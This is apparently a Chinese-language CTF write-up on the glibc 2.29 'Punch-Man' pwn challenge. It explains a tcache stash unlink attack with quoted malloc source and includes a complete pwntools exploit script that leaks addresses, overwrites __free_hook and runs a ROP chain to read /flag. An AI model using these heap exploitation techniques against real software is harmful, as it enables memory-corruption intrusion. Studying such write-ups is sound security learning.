title: Tache Stash Unlink Attack:Punch-Man date: 2021-06-24 10:49:43 tags: layout: default —- Punch-Man & tache stash unlink attack

prologue

很棒的一题,主要使用了libc-2.29下利用 small bin tache stash tacache中有6个chunk的情况,攻击效果是类似于之前版本的 unsorted bin attack 往任意地址写固定值。

analyze

UAF比较明显,很容易泄漏heapbase&libcbase,主要难在利用,因为题目用的是calloc所以不从tcache里面取,有个隐藏菜单可以malloc 0x217,但仅限于tcache满的时候。

所以在这种情况下,tcache和small bin的路已经被锁死了,需要用 small bin相关的利用来扩大利用。

tcache stash in small bin

libc 2.29引入的新机制,可以在这里看看,和本题相关的简单来说当tcache未满时从small bin取下一个时会将剩下的chunk放入tcache,但是检查不严格。如下可以看到,没有检查bck的fd是不是victim。

#if USE_TCACHE
          /* While we're here, if we see other chunks of the same size,
             stash them in the tcache.  */
          size_t tc_idx = csize2tidx (nb);
          if (tcache && tc_idx < mp_.tcache_bins)
            {
              mchunkptr tc_victim;
              /* While bin not empty and tcache not full, copy chunks over.  */
              while (tcache->counts[tc_idx] < mp_.tcache_count
                     && (tc_victim = last (bin)) != bin)
                {
                  if (tc_victim != 0)
                    {
                      bck = tc_victim->bk;//*
                      set_inuse_bit_at_offset (tc_victim, nb);
                      if (av != &main_arena)
                        set_non_main_arena (tc_victim);
                      bin->bk = bck;
                      bck->fd = bin;
                      tcache_put (tc_victim, tc_idx);
                    }
                }
            }
#endif

这里的利用方式有很多,本题中因为最少只能有6个chunk在tcache中(0x220),能达成的效果只有类似unsorted bin atk。

构造方式: small bin 有2个chunk,tcache有6个chunk.

构造small bin 第二个chunk的 fd不变,bk为需要写的地址-0x10。

calloc 掉一个smallbin就可以触发,往构造的地址写一个固定的值。

solution

我想到的比较方便的是攻击global_max_size。

我的思路:要想获得任意地址写可以走small bin 可以走tcache,但是tcache比较简单先试试tcache;因为只能malloc一个所以要么直接控制heap开始的时候那个tcache结构体要么把计数器改成很大(这个试了一下发现因为寄存器存值所以失败了);然后目标是tcache结构体,现有能力是任意地址写固定值,所以就自然而然地改掉global_max_size然后fast bin atk

EXP

from pwn import *
context.arch='amd64'
context.log_level='debug'

context.terminal=['tmux','split','-h']
def cmd(c):
    p.sendlineafter("> ",str(c))
def add(idx,size):
    cmd(1)
    p.sendlineafter(": ",str(idx))
    p.sendafter(": ",size*"A")
def free(idx):
    cmd(4)
    p.sendlineafter(": ",str(idx))
def edit(idx,c):
    cmd(2)
    p.sendlineafter(": ",str(idx))
    p.sendafter(": ",c)
def show(idx):
    cmd(3)
    p.sendlineafter(": ",str(idx))
def punch(c="A"):
    cmd(0xc388)
    p.send(c)
p=process('./pwn')

for x in range(2):
    add(0,0x217)
    free(0)
show(0)
p.readuntil("name: ")
heap=u64(p.readline()[:-1]+b'\0\0')-0x260
for x in range(5): 
    add(0,0x217)
    free(0)

add(0,0x217)
add(1,0x217)
free(0)
show(0)
p.readuntil("name: ")
base=u64(p.readline()[:-1]+b'\0\0')-(0x7ffff7fbfca0-0x7ffff7ddb000)
free(1)
# clear
for x in range(7):
    add(0,0x248)
    free(0)
add(0,0x217)
add(1,0x88)
add(1,0x217)
add(2,0x88)
free(0)
free(1)
add(2,0x248)
punch()
edit(1,p64(0x2160+heap)+p64(0x7ffff7fc1600-0x7ffff7dda000+base-0x10))
add(0,0x217)
free(2)
edit(2,p64(heap))

add(2,0x248)
add(2,0x248)

free_hook=0x1e75a8+base
edit(2,'\0'*0x248)
edit(2,b'\0'*0x20+b'\7'*8+b'\0'*0xa0+p64(free_hook)*0x10)
punch(p64(0x7ffff7f2a550-0x7ffff7dda000+base))

#++++++++++++++++++++++++++++++
# Before starting this module, I 
# hope you have set free_hook
# ==> magic gadget <3 
chunk=heap+0x10
# chunk is Free's first Parameter
#+++++++++++++++++++++++++++++++
payload=p64(0)+p64(chunk)+b'\0'*0x10+p64(0x55e35+base)
libc=ELF("/lib/x86_64-linux-gnu/libc-2.29.so")
libc.address=base
rop = ROP(libc)
sys = rop.find_gadget(['syscall','ret'])[0]
rsp=chunk
rdi=0
rsi=rsp
rdx=0x110
rbp=rsi-8
rcx=sys
payload=payload.ljust(0x68,b'\0')+flat([rdi,rsi,rbp,0,rdx,0,0,rsp,rcx])
edit(2,payload)
gdb.attach(p,'b free')
free(2)

rop.read(3,chunk+0x110,0x100)
rop.write(1,chunk+0x110,0x100)
rop.dump()
pyaload_rw =rop.chain()

rax = rop.find_gadget(['pop rax','ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
rsi = rop.find_gadget(['pop rsi','ret'])[0]
rdx = rop.find_gadget(['pop rdx','ret'])[0]
pyaload_open =flat([rax,0x2,rdi,chunk+0xf8,rsi,0,rdx,0,sys])
pay = pyaload_open+pyaload_rw
p.send(pay.ljust(0xf8,b'\0')+b'/flag\0')

p.interactive()